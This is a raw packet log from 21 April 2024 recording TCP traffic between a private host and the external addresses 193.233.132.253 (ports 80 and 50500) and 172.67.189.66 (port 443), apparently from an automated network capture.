Apr 21, 2024 15:31:19.443993092 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.443995953 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.443995953 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.444004059 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.444016933 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.444016933 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.444027901 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.444041014 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.444047928 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.444051027 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.444062948 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.444072962 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.444073915 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.444086075 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.444094896 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.444107056 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.444119930 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.444134951 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.444143057 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.444143057 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.444145918 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.444153070 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.444166899 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.444178104 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.444180012 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.444192886 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.444197893 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.444205046 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.444220066 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.444225073 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.444231987 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.444242954 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.444253922 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.444257021 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.444267988 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.444276094 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.444279909 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.444293976 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.444303036 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.444307089 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.444320917 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.444334984 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.444346905 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.444346905 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.444365978 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.444390059 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.691086054 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691107988 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691118956 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691131115 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691143036 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691154957 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691170931 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691185951 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691190958 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.691204071 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691219091 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691231012 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.691231966 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691231012 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.691246986 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691262007 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.691262007 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.691291094 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.691323042 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691337109 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691351891 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691364050 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.691390038 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.691390038 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.691466093 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691481113 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691492081 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691507101 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691509962 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.691534042 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691544056 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.691561937 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.691586018 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.691740036 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691752911 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691764116 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691776037 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691790104 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691798925 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.691807032 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691817045 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.691821098 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691833019 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.691837072 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691852093 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691864967 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691869974 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.691876888 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691890955 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.691891909 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691906929 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.691909075 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691924095 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691937923 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691941977 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.691950083 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691961050 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.691963911 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691977024 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.691977024 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.691989899 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692004919 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692011118 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.692025900 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692030907 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.692039013 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692048073 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.692049980 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692061901 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692075968 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692079067 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.692089081 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692111015 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692121029 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.692121029 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.692123890 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692138910 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692145109 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.692151070 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692164898 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692172050 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.692176104 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692189932 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692189932 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.692203045 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.692203045 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692214966 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692229986 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692238092 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.692241907 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692255974 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692264080 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.692270041 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692280054 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.692282915 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692296028 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692297935 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.692307949 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692322016 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692332029 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.692336082 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692349911 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692358971 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.692363024 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692374945 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.692375898 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692388058 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692400932 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692405939 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.692413092 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692425966 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692430973 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.692440033 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692446947 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.692451954 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692464113 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.692466021 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692478895 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692492962 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692495108 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.692504883 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692518950 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692524910 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.692533016 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692540884 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.692547083 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.692557096 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.692603111 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.939764023 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.939786911 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.939800024 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.939814091 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.939826965 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.939841986 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.939848900 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.939857006 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.939868927 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.939882040 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.939897060 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.939897060 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.939909935 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.939917088 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.939924002 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.939934015 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.939938068 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.939950943 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.939959049 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.939965010 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.939979076 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.939985037 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.939994097 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940001011 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.940009117 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940021992 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940026999 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.940054893 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.940140009 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940152884 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940165997 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940181017 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940188885 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.940193892 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940206051 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.940208912 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940222025 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940233946 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.940237045 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940248966 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940259933 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.940263033 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940277100 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940282106 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.940289974 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940299988 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.940304041 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940316916 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940327883 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.940330982 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940342903 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940355062 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.940357924 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940371990 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.940371990 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940387011 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940390110 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.940399885 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940413952 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940416098 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.940443039 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.940753937 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940767050 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940781116 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940793037 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940805912 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940809965 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.940819979 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940836906 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940840006 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.940850019 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940860987 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.940864086 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940877914 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940886974 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.940892935 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940908909 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940912962 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.940922976 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940931082 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.940937042 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940951109 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940957069 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.940964937 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.940985918 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.941013098 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.941073895 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941087008 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941098928 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941112995 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.941114902 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941127062 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941139936 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.941142082 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941154957 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941165924 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.941169024 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941180944 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941194057 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941195965 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.941210032 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941215992 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.941225052 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941231012 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.941237926 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941250086 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941260099 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.941263914 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941276073 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941283941 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.941289902 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941299915 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.941303015 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941314936 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941325903 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.941329002 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941340923 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941351891 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.941355944 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941371918 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.941371918 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941387892 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941387892 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.941400051 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941411972 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.941415071 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941428900 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941431046 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.941442013 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941454887 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.941456079 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941469908 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941483021 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941497087 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941513062 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941528082 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941540003 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941550016 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.941553116 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941565037 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941570997 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.941570997 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.941579103 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941582918 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.941592932 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941606998 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.941607952 CEST	80	49740	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:19.941622019 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:19.941648960 CEST	49740	80	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:20.312011003 CEST	49732	50500	192.168.2.4	193.233.132.253
Apr 21, 2024 15:31:20.597335100 CEST	50500	49732	193.233.132.253	192.168.2.4
Apr 21, 2024 15:31:20.724478006 CEST	49742	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:20.724533081 CEST	443	49742	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:20.724622011 CEST	49742	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:20.726145983 CEST	49742	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:20.726155043 CEST	443	49742	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:20.949718952 CEST	443	49742	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:20.949816942 CEST	49742	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:20.953933954 CEST	49742	443	192.168.2.4	172.67.189.66
